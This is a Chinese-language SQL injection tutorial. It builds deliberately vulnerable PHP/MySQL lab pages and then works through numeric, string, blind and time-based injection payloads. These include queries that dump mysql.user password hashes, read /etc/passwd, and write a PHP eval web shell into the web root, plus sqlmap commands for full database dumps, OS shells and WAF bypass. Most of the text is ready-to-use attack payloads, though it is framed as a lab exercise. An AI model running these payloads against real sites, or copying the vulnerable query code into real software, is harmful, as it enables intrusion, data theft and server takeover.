SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令,它是利用現有應用程序將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句.
數字型注入
數字型注入是最常規的一種注入方式,通常存在於網頁的鏈接地址中,例如index.php?id=
這樣的類型,通常存在可利用的地方,這里通過一個例子來學習數字型注入的一些注入技巧.
◆搭建演練環境◆
1.首先我這里使用的是Centos7,在該系統上通過Yum搭建LAMP的環境.
[root@localhost ~]# yum install -y httpd httpd-devel \
mariadb mariadb-server mysql-devel \
php php-mysql php-common php-gd php-xml
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# systemctl restart mariadb
[root@localhost ~]# systemctl enable httpd
[root@localhost ~]# systemctl enable mariadb
2.進入MySQL並創建一個測試用的數據表,寫入一些測試所使用的查詢數據.
[root@localhost ~]# mysql -uroot -p1233
MariaDB [(none)]> create database lyshark;
Query OK, 1 row affected (0.01 sec)
MariaDB [(none)]> use lyshark;
Database changed
MariaDB [lyshark]> create table lyshark (
-> id int(10) not null,
-> title varchar(1000) not null,
-> text varchar(2000) not null
-> );
Query OK, 0 rows affected (0.02 sec)
MariaDB [lyshark]> create table user(id int ,name char(30),pass char(40));
MariaDB [lyshark]> create table pwd(id int ,name char(30),pass char(40));
insert into `lyshark` (`id`, `title`, `text`) values (1,'admin','hello admin');
insert into `lyshark` (`id`, `title`, `text`) values (2,'lyshark','hello lyshark');
insert into `lyshark` (`id`, `title`, `text`) values (3,'guest','hello guest');
3.在網站目錄下新建一個index.php
文件,並配置好權限,這里需要關閉Selinux
和Iptables
防火牆.
[root@localhost ~]# setenforce 0
[root@localhost ~]# iptables -F
[root@localhost ~]#
[root@localhost ~]# vim /var/www/html/index.php
<?php
$id = $_GET['id'];
$connection = mysql_connect("127.0.0.1","root","1233");
mysql_select_db("lyshark",$connection);
$myquery = "select * from lyshark where id=$id";
$result = mysql_query($myquery);
while($row = mysql_fetch_array($result)){
echo "編號: ".$row['id']."<br >";
echo "標題: ".$row['title']."<br >";
echo "內容: ".$row['text']."<br >";
echo "<hr>";
}
mysql_close($connection);
echo "后台執行的SQL語句: ".$myquery."<hr>";
#mysql_free_result($result);
?>
[root@localhost ~]# chmod 755 -R /var/www/html/index.php
[root@localhost ~]# chown apache.apache /var/www/html/index.php
[root@localhost ~]# systemctl restart httpd
4.最后訪問這個頁面,並傳入一個參數,即可查看返回結果.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2
◆判斷注入點◆
提交單引號: 通過提交單引號並根據返回結果判斷是否存在注入點,如果返回正常說明存在注入點.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1'
執行的SQL語句: select * from lyshark where id=1'
提交AND判斷: 也可以使用and語句來判斷是否存在注入.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=1
執行的SQL語句: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1 and 1=0
執行的SQL語句: select * from lyshark where id=1 and 1=0
以上注入可發現and 1=1
返回了數據,而and 1=0
則沒有返回,這是由於and 1=1
是一個為真的條件,所以返回了而and 1=0
結果為假也就沒有結果,這里也能看出我們的注入語句被數據庫執行了.
提交OR判斷: 同樣的使用OR語句也是可以判斷數據庫權限的.
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=1
執行的SQL語句: select * from lyshark where id=1 and 1=1
--------------------------------------------------------------
[root@localhost ~]# curl http://192.168.1.11/index.php?id=1 or 1=0
執行的SQL語句: select * from lyshark where id=1 and 1=0
提交加號: 我們在參數輸入1+1
,看返回的數據是不是id等於2的結果,這里注意一下+號在SQL語句是有特效含義的,所以我們要對其進行url編碼,最后也就是%2b.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=1%2b1
執行的SQL語句: select * from lyshark where id=1+1
提交減號: 同樣的道理,提交減號也可以實現判斷注入點,這里不需要進行編碼轉化.
[root@localhost ~]# curl http://127.0.0.1/index.php?id=2-1
執行的SQL語句: select * from lyshark where id=2-1
◆常用判斷語句◆
判斷ROOT權限: 判斷數據庫是否具有ROOT權限,如果返回了查詢結果說明具有權限.
index.php?id=1 and ord(mid(user(),1,1)) = 114
判斷權限大小: 如果結果返回正常,說明具有讀寫權限,返回錯誤,應該是管理員給數據庫帳戶降權了.
index.php?id=1 and(select count(*) from mysql.user) > 0
查詢管理密碼: 查詢MySQL的管理密碼,這里的#末尾警號
,是注釋符的意思,說明后面的都是注釋.
index.php?id=1 union select host,user,password from mysql.user# // 5.6以前版本
index.php?id=1 union select host,user,authentication_string from mysql.user# // 5.7以后版本
向主站寫入后門: 可以寫入一句話后門,但在linux系統上目錄必須具有讀寫和執行權限.
index.php?id=1 union select 1,1,load_file("/etc/passwd") into outfile '/var/www/html/a.txt'
index.php?id=1 union select null,null,"<?php phpinfo();?>" into outfile '/var/www/html/a.php'
index.php?id=1 union select 1,1,load_file(char(111,116,46,105,110,105))
常用判斷語句: 下面是一些常用的注入查詢語句,包括查詢主機名等敏感操作.
index.php?id=1 union select 1,1,load_file("/etc/passwd") // 加載指定文件
index.php?id=1 union select 1,1,@@datadir // 判斷數據庫目錄
index.php?id=1 union select 1,1,@@basedir // 判斷安裝根路徑
index.php?id=1 union select 1,1,@@hostname // 判斷主機名
index.php?id=1 union select 1,1,@@version // 判斷數據庫版本
index.php?id=1 union select 1,1,@@version_compile_os // 判斷系統類型(Linux)
index.php?id=1 union select 1,1,@@version_compile_machine // 判斷系統體系(x86)
index.php?id=1 union select 1,1,user() // 曝出系統用戶
index.php?id=1 union select 1,1,database() // 曝出當前數據庫
◆判斷表字段數◆
Union 查詢字段: Union可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select
的列與它查詢的列相同時,頁面返回正常,而在and后面加上1=1或1=2
的作用后面會講.
a.首先我們猜測,當前字段數為2
的時候,頁面會返回錯誤,也就說明表字段數必然是大於2的.
index.php?id=1 and 1=1 union select 1,2
執行的SQL語句: select * from lyshark where id=1 and 1=1 union select 1,2
b.在上面的基礎上,我們增加一個字段
,查詢1,2,3
時頁面顯示正常,說明表結構是3個字段的.
index.php?id=1 and 1=1 union select 1,2,3
執行的SQL語句: select * from lyshark where id=1 and 1=1 union select 1,2,3
c.為了驗證數據庫是否為3個字段,我們增加到4個字段
,發現頁面顯示錯誤
,則證明肯定是3個字段.
index.php?id=1 and 1=1 union select 1,2,3,4
執行的SQL語句: select * from lyshark where id=1 and 1=1 union select 1,2,3,4
上面的結果,說明字段數就是3
,輸入的數大於或小於字段數時都會報錯,而使用union select null,null,null
替換1,2,3
是相同的效果用數字也可以.
index.php?id=1 and 1=1 union select null,null,null #
執行的SQL語句: select * from lyshark where id=1 and 1=1 union select null,null,null
Order By查詢字段: 在SQL語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是order by 1
按照第二列排序order by 2
依次類推,按照這個原理我們來判斷他的字段數,如果我們按照第1列進行排序
數據庫會返回正常,但是當我們按照第100列排序
,但是數據庫中並不存在第100列,從而報錯.
a.首先我們猜測
數據庫有4個字段
,嘗試根據第四行進行排序
發現數據無法顯示,說明是小於4的.
index.php?id=1 order by 4 #
b.上面查詢沒有顯示任何結果,我們查詢4個字段無返回值,說面該表小於4個字段,我們繼續使用3測試
,此時返回了結果.
index.php?id=1 order by 3 #
大部分程序只會調用數據庫查詢的第一條語句進行查詢然后返回,而通過聯合查詢出的數據中,我們想看到的數據是在第二條語句中,如果我們想看到我們想要的數據有兩種方法,第一種是讓第一條數據返回假,第二種是通過sql語句直接返回我們想要的數據.
第一種:我們讓第一個查詢的結果始終為假,通過使用and 0
來實現,下面的標號啥的就干凈了.
index.php?id=1 and 0 union select null,null,null
執行的SQL語句: select * from lyshark where id=1 and 0 union select null,null,null
第二種:通過limit語句,limit在mysql中是用來分頁的,通過他可以從查詢出來的數據中獲取我們想要的數據.
index.php?id=1 union select null,null,null limit 1,1
執行的SQL語句: select * from lyshark where id=1 union select null,null,null limit 1,1
上面結果返回也是空,因為這使用的null,所以返回的還是null
◆查庫與表名稱◆
查當前數據庫名稱: 可以直接使用MySQL自帶函數database()
來查詢得到當前使用的數據庫.
index.php?id=1 and 0 union select 1,1,database()
查全部數據庫名稱: 使用以下語句語句得到所有的數據庫名,and 1=0
功能是不顯示第一行.
index.php?id=1 and 0 union select 1,1,schema_name from information_schema.schemata
查指定數據庫名稱: 用來查詢第一個數據庫的名稱,但這個寫法有個小問題,繼續往下看.
index.php?id=1 union select null,null,schema_name from information_schema.schemata limit 0,1
以上查詢結果,並沒有顯示數據庫名而顯示的是第一條語句查詢出來的結果,在union前面加上and 0
就能顯示出來了.
index.php?id=1 and 0 union select null,null,schema_name from information_schema.schemata limit 0,1
以下查詢方式,根據控制limit 0,1,2,3....
,我們既可以獲取到指定數量的數據庫名稱.
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 1,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 2,1
index.php?id=1 and 0 union select null,schema_name,null from information_schema.schemata limit 3,1
查表名稱(1): 通過使用group_concat
可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感數據.
index.php?id=1 and 0 union select 1,1,group_concat(table_name)
> from information_schema.tables where table_schema='lyshark' #查lyshark庫中表名稱
查表名稱(2): 同樣,使用下面的語句也是可以查出數據庫中的表,但該查詢方式會分行顯示查詢的結果.
index.php?id=1 and 0 union select 1,1,table_name
> from information_schema.tables where table_schema='lyshark' #查lyshark庫中表名稱
◆查字段與數據◆
查表中字段(1):
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark'
查表中字段(2): 也可以查看mysql庫user表中的字段,進行一個查詢.
index.php?id=1 and 1=1 union select 1,1,group_concat(column_name)
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
查表中字段(3):
index.php?id=2 union select null,null,column_name
> from information_schema.columns
> where table_schema='mysql' and table_name='user'
查表中數據: 查詢表中數據,我們可以使用以下三種方式進行查詢.
index.php?id=1 union select Host,User,Password from mysql.user
index.php?id=1 and 1=1 union select 1,1,group_concat(id,title,text) from lyshark
index.php?id=1 and 1=1 union select 1,1,group_concat(Host,User,Password) from mysql.user
## 字符型注入
字符串或串(String)是由數字、字母、下划線組成的一串字符,一般記為s="a1 a2···an "(n>=0)
,它是編程語言中表示文本的數據類型,字符型注入就是把輸入的參數當做字符串來對數據庫進行查詢,字符型注入在sql語句中都采用單引號括起來,接下來看一段SQL語句.
$query="select first_name from users where id='$_GET['id']'";
上面的這句SQL語句就是基於用戶輸入的id在users表中找到相應的first_name,正常用戶當然會輸入例如1,2
等,但是如果有人輸入以下惡意語句則就會引發注入.
1' union select database() #;
這樣的話這句SQL請求,在后台的執行結果就變成了以下的樣子.
select first_name from users where id='1'union select database()#'
如上,我們不僅可以得到id=1的first_name,還可以得到當前數據庫的相關信息,這是開發人員所沒有想到的,以上只是一個簡單的SQL注入的例子.從根本上講,當開發人員對用戶的輸入過濾不嚴,造成了用戶可以通過輸入SQL語句控制數據庫,就會產生SQL注入漏洞.
簡而言之,基於字符型的SQL注入即存在SQL注入漏洞的URL參數為字符串類型(需要使用單引號表示),字符型SQL注入的關鍵就是單引號的閉合,例如以下幾個例子:
select * from tables where idproduct=’ 13’;
select * from tables where name=’ fendo’;
select * from tables where data=’ 01/01/2017’;
◆搭建演練環境◆
1.首先我們在原來的基礎上,新建一個文件/var/www/html/index.php
.
vim /var/www/html/index.php
<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","1233");
mysql_select_db('fendo',$conn);
$sql="select * from user where username = '$name'";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用戶ID:".$row['id']."<br >";
echo "用戶名:".$row['username']."<br >";
echo "用戶密碼:".$row['password']."<br >";
echo "用戶郵箱:".$row['email']."<br >";
echo "<hr>";
}
mysql_close($conn);
echo "<hr>";
echo "后台執行的SQL語句: "."$sql <br >";
?>
2.進入數據庫,創建幾個表結構,並插入幾條測試數據.
[root@localhost ~]# mysql -uroot -p
MariaDB [(none)]> create database fendo;
MariaDB [(none)]> use fendo;
MariaDB [fendo]> create table user(
-> id int not null,
-> username varchar(100) not null,
-> password varchar(100) not null,
-> email varchar(200) not null
-> );
Query OK, 0 rows affected (0.02 sec)
insert into user(id,username,password,email) values(1,'admin','fendo','10010@qq.com');
insert into user(id,username,password,email) values(2,'guest','goods','10020@qq.com');
insert into user(id,username,password,email) values(3,'lyshark','nice','10030@qq.com');
3.重啟apache服務,並訪問頁面測試效果.
[root@localhost ~]# systemctl restart httpd
[root@localhost ~]# curl http://127.0.0.1/index1.php?username=lyshark
◆字符注入技巧◆
檢測注入點: 字符型的檢測方式與整數型差不多,但需要對數據進行SQL語句的手動閉合,如下所示.
index.php?username=admin' and '1'='1
index.php?username=admin' and '1'='0
index.php?username=admin' and '1'=1--'
index.php?username=admin' or '1'=1--'
猜字段長度: 接着我們通過使用union select
語句,猜測數據庫列的長度,字段長度.
index.php?username=admin ' union select 1,1,1 and '1'='1 // 顯示錯誤,說明字段大於3
index.php?username=admin ' union select 1,1,1,1 and '1'='1 // 顯示正確,該表存在4個字段
index.php?username=admin ' union select 1,1,1,1' // 這樣也可以完成語句的閉合
index.php?username=admin ' union select null,null,null,null'
猜敏感信息: 接着替換上面語句中的1,1,1,1
替換為MySQL執行函數,猜敏感信息.
index.php?username=admin' union select database(),1,@@version,@@datadir'
index.php?username=admin' union select database(),1,@@version,@@datadir and '1'='0
猜表是否存在: 猜指定表是否存在,語句執行結束並沒報錯,也就說明存在user這個表.
index.php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' // 存在user這個表
index.php?username=admin'+and+(select+count(*)+from+lyshark)>0+and+''=' // 不存在lyshark這個表
查全部表名稱: 通過以下語句,查詢fendo
數據庫中存在的所有表名稱.
index.php?username=admin' union select 1,1,1,group_concat(table_name)
> from information_schema.tables where table_schema="fendo"'
查表中字段: 查詢fendo
數據庫中,user
表中的字段,並顯示出來.
index.php?username=admin' union select 1,1,1,group_concat(column_name)
> from information_schema.columns where
> table_schema="fendo" and table_name="user"'
查表中數據: 查詢fendo
數據庫中,user
表中指定字段的數據,並顯示出來.
index.php?username='admin' union select 1,group_concat(password),1,1 from user'
index.php?username='admin' union select id,username,password,email from user'
上面的這些例子就是字符型注入的常用手法,其他的注入方式和整數型沒有什么太大的區別,這里為了節約篇幅不在繼續往下寫了,你可以使用MySQL提供的基本函數自行測試.
基於報錯的手工注入
猜版本: 返回正常,說明數據庫版本是5,返回錯誤說明大於或小於5.
index.php?id=1 and left(version(),1)=5# // 返回正常,說明數據庫版本是5
index.php?id=1 and left(version(),1)=4# // 返回錯誤,說明數據庫版本不是5
猜庫名: 通過盲注的形式,逐級猜測每一個數據庫的單元,最后將其組合在一起即可.
index.php?id=1 and (length(database())) >=4 // 猜庫名稱有多少個字符串
index.php?id=1 and (left(database(),1)) >= 'd' # // 猜庫名稱最左邊第1位為d
index.php?id=1 and (left(database(),2)) >= 'dv' # // 猜庫名稱左邊前2位位為dv
index.php?id=1 and (left(database(),3)) >= 'dvw' # // 猜庫名稱左邊前3位位為dvw
index.php?id=1 and (left(database(),4)) >= 'dvwa'# // 猜庫名稱左邊前4位位為dvwa
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),1,1))=100 # // 第1位是d
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),2,1))=118 # // 第2位是v
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),3,1))=119 # // 第3位是w
index.php?id=1' and ord(mid((CAST(DATABASE() AS CHAR)),4,1))=97 # // 第4位是a
mid ((a,b,c) // 從字符串a中截取b到c位置
ord() // 將結果轉化為ascii碼與后面數值對比
CAST(DATABASE() AS CHAR) // 如果取到了數據則返回
猜表名: 如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.
公式: and (select count(*) from 表名) >=0
index.php?id=1 and (select count(*) from mysql.user) >=0 // 存在mysql.user表
index.php?id=1 and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.
公式: and (select count(字段名) from 猜到的表名)>=0
index.php?id=1 and (select count(id) from users) >=0 // 返回正常說明存在id字段
index.php?id=1 and (select count(name) from users) >=0 // 返回不正常不存在name字段
index.php?id=1 and (select count(*) from lyshark) >=3 #-- // 返回表中記錄數
用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜測數據庫用戶名稱長度
index.php?id=1' and (select user() like 'root%') # // 猜測用戶名
index.php?id=1' and (select user() regexp '^[a-z]') # // 猜測開頭a-z
index.php?id=1' and (select user() regexp '^r') # // 第一位是r
index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
index.php?id=1' and (select user() regexp '^root') # // 以此類推猜測前四位
延時注入: 通過sleep(5)
延時的方式,我們同樣可以判斷是否存在注入點.
index.php?id=1 and sleep(5) #
index.php?id=1 and sleep(5) order by 3 # // 如果是3個字段,則會延時5秒
index.php?id=1 and select if(length(user())=0,sleep(3),1) # //如果user=0則延時3秒
index.php?id=1 and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1個字符=d則延時3秒
index.php?id=1 and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2個字符=v則延時3秒
## SQLMap(拓展)
檢測命令:
sqlmap -u "./index.php?id=1" -v 3 # 顯示攻擊載荷
sqlmap -u "./index.php?id=1" --level=3 # 指定探測級別
sqlmap -u "./index.php?id=1" --privileges # 測試所有用戶權限
sqlmap -u "./index.php?id=1" --privileges root # 測試root用戶權限
sqlmap -u "./index.php?id=1" --all # 查詢所有數據庫
sqlmap -u "./index.php?id=1" --hostname # 查詢當前主機名
sqlmap -u "./index.php?id=1" --is-dba # 判斷root權限
sqlmap -u "./index.php?id=1" --users # 枚舉數據庫用戶
sqlmap -u "./index.php?id=1" --random-agent # 隨機User-Agent
sqlmap -u "./index.php?id=1" --fingerprint # 執行DBMS版本指紋檢查
sqlmap -u "./index.php?id=1" --output-dir="" # 自定義輸出目錄
sqlmap -u "./index.php?id=1" --file-read="" # 讀取文件
sqlmap -u "./index.php?id=1" --file-write="" # 寫入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user" # 執行一條命令
sqlmap -u "./index.php?id=1" --os-shell # 交互執行命令
sqlmap -u "./index.php?id=1" --sql-query="" # 執行的SQL語句
sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
sqlmap -u "./index.php?id=1" --temper="" # 指定過濾腳本
脫庫命令:
sqlmap -u "./index.php?id=1" --identify-waf # 測試是否有WAF
sqlmap -u "./index.php?id=1" --current-db # 查詢當前數據庫
sqlmap -u "./index.php?id=1" --current-user # 查詢當前主機名
sqlmap -u "./index.php?id=1" --users # 查詢所有用戶名
sqlmap -u "./index.php?id=1" --dbs # 列出所有數據庫
sqlmap -u "./index.php?id=1" --tables # 列出所有的表
sqlmap -u "./index.php?id=1" -D "mysql" --tables # 獲取mysql庫中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 獲取mysql.host表列名稱
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 將mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脫褲子
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Cookie注入: level >=2使用cookie注入
,level >=3使用User-agent/Referer注入
.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判斷注入點
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜數據庫名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名稱
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
POST注入:
1.瀏覽器打開目標地址 http:// www.xxx.com /Login.asp
2.配置burp代理(127.0.0.1:8080)以攔截請求
3.點擊login表單的submit按鈕
4.這時候Burp會攔截到了我們的登錄POST請求
5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
延時注入:
Sqlmap -u "http://127.0.0.1/index.php" --dbs --delay 1
sqlmap -u "http://127.0.0.1/index.php" --dbs --safe-freq 3
繞過WAF:
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --identify-waf
sqlmap -u "http://127.0.0.1/index.php" --thread 10 --check-waf
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py"
sqlmap -u "http://127.0.0.1/index.php" --dbs --batch --tamper "script.py,space2dash.py"
SQL 注入審計
搭建SQL注入演練環境,首先確保MySQL版本為MySQL 5.5
以上,並導入下方的數據庫腳本自動創建相應的數據庫文件.
drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists users;
create table users(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
insert into lyshark.users(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com");
insert into lyshark.users(id,username,password,usremail) VALUES(3,"guest",md5("12345678"),"guest@126.com");
insert into lyshark.users(id,username,password,usremail) VALUES(4,"Dumb",md5("458322456"),"Dumb@blib.com");
insert into lyshark.users(id,username,password,usremail) VALUES(5,"Angelina",md5("GIs92834"),"angelina@mkic.com");
insert into lyshark.users(id,username,password,usremail) VALUES(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com");
insert into lyshark.users(id,username,password,usremail) VALUES(7,"batman",md5("suw&*("),"batmain@gmail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com");
insert into lyshark.users(id,username,password,usremail) VALUES(9,"nacki",md5("fsie92*("),"cbooks@emial.com");
insert into lyshark.users(id,username,password,usremail) VALUES(10,"wuhaxp",md5("sadwq"),"cookiec@345.com");
接着安裝好PHP7.0
或以上版本的環境,並創建index.php文件,寫入以下測試代碼,數據庫密碼請自行修改.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL 注入測試代碼</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123456","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
}
}
?>
<body>
<table border="1">
<tr>
<th>序號</th><th>用戶賬號</th><th>用戶密碼</th><th>用戶郵箱</th><th>權限</th>
</tr>
<tr>
<td><?php echo $row['id']; ?></td>
<td><?php echo $row['username']; ?></td>
<td><?php echo $row['password']; ?></td>
<td><?php echo $row['usremail']; ?></td>
<td><?php echo $row['usertype']; ?></td>
</tr>
</table>
<?php echo '<hr><b> 后端執行SQL語句: </b>' . $sql; ?>
</body>
</html>
判斷注入點: 注入點的判斷有多種形式,我們可以通過提交and/or/+-等符號來判斷.
index.php?id=1' and 1=1 --+ # 提交and判斷注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1 # 提交加號判斷注入
index.php?id=2-1 # 提交減號判斷注入
index.php?id=1 and sleep(5) # 延時判斷諸如點
常用判斷語句:
# -----------------------------------------------------------------------------------
# 判斷ROOT權限: 判斷數據庫是否具有ROOT權限,如果返回了查詢結果說明具有權限.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+
# -----------------------------------------------------------------------------------
# 判斷權限大小: 如果結果返回正常,說明具有讀寫權限,如果返回錯誤應該是管理員給數據庫帳戶降權了.
index.php?id=1' and(select count(*) from mysql.user) > 0
# -----------------------------------------------------------------------------------
# 查詢管理密碼: 查詢MySQL的管理密碼,這里的#末尾警號,是注釋符的意思,說明后面的都是注釋.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本
# -----------------------------------------------------------------------------------
# 向主站寫入一句話: 可以寫入一句話后門,但在linux系統上目錄必須具有讀寫和執行權限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+
# -----------------------------------------------------------------------------------
# 利用MySQL引擎寫一句話: 通過使用MySQL的存儲引擎,以MySQL身份寫入一句話
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');
# -----------------------------------------------------------------------------------
# 常用判斷語句: 下面是一些常用的注入查詢語句,包括查詢主機名等敏感操作.
index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加載指定文件
index.php?id=1' union select 1,1,@@datadir // 判斷數據庫目錄
index.php?id=1' union select 1,1,@@basedir // 判斷安裝根路徑
index.php?id=1' union select 1,1,@@hostname // 判斷主機名
index.php?id=1' union select 1,1,@@version // 判斷數據庫版本
index.php?id=1' union select 1,1,@@version_compile_os // 判斷系統類型(Linux)
index.php?id=1' union select 1,1,@@version_compile_machine // 判斷系統體系(x86)
index.php?id=1' union select 1,1,user() // 曝出系統用戶
index.php?id=1' union select 1,1,database() // 曝出當前數據庫
◆判斷字段數◆
Union 查詢字段: Union可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select
的列與它查詢的列相同時,頁面返回正常,而在and后面加上1=1或1=2
的作用后面會講.
a.首先我們猜測,當前字段數為4的時候,頁面會返回錯誤,也就說明表字段數必然是大於4的.
index.php?id=1' and 1=1 union select 1,2,3,4 --+
b.在上面的基礎上,我們增加一個字段,查詢1,2,3,4,5時頁面顯示正常,說明表結構是5個字段的.
index.php?id=1' and 1=1 union select 1,2,3,4,5 --+
index.php?id=1' and 1=1 union select null,null,null,null,null --+
Order By查詢字段: 在SQL語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是order by 1
按照第二列排序order by 2
依次類推,按照這個原理我們來判斷他的字段數,如果我們按照第1列進行排序數據庫會返回正常,但是當我們按照第100列排序,因為數據庫中並不存在第100列,從而報錯或無法正常顯示.
a.首先我們猜測數據庫有6個字段,嘗試根據第6行進行排序發現數據無法顯示,說明是小於6的.
index.php?id=1' and 1=1 order by 6 --+
b.上面查詢沒有顯示任何結果,我們查詢6個字段無返回值,說面該表小於6個字段,我們繼續使用5測試,此時返回了結果.
index.php?id=1' and 1=1 order by 5 --+
大部分程序只會調用數據庫查詢的第一條語句進行查詢然后返回,而通過聯合查詢出的數據中,我們想看到的數據是在第二條語句中,如果我們想看到我們想要的數據有兩種方法,第一種是讓第一條數據返回假,第二種是通過sql語句直接返回我們想要的數據.
第一種:我們讓第一個查詢的結果始終為假,通過使用and 0
來實現,下面的標號啥的就干凈了.
index.php?id=1' and 0 union select null,null,null,null,null --+
第二種:通過limit語句,limit在mysql中是用來分頁的,通過他可以從查詢出來的數據中獲取我們想要的數據.
index.php?id=1' union select null,null,null,null,null limit 1,1 --+
◆查庫與表字段◆
查全部數據庫名稱: MySQL默認將所有表數據放入information_schema.schemata
這個表中進行存儲,我們可以查詢這個表中的數據從而找出當前系統中所有的數據庫名稱.
index.php?id=1' and 0 union select 1,1,database(),1,1 --+ // 找出當前所處庫
# -----------------------------------------------------------------------------------
# 根據控制 limit 0,1,2,3....,可以獲取到指定數量的數據庫名稱.
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
查詢表中名稱: 通過使用group_concat
可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感數據.
index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5
> from information_schema.tables where table_schema='lyshark' --+ // 查lyshark庫中表名稱
index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 0,1 --+ // 查lyshark庫中表名稱
index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 1,1 --+ // 查lyshark庫中表名稱
查詢表中字段: 通過使用table_schema
和table_name
指定查詢條件,即可查詢到表中字段與數據.
# -----------------------------------------------------------------------------------
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark' --+
# -----------------------------------------------------------------------------------
# 也可以查看mysql庫user表中的字段,進行一個查詢.
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' --+
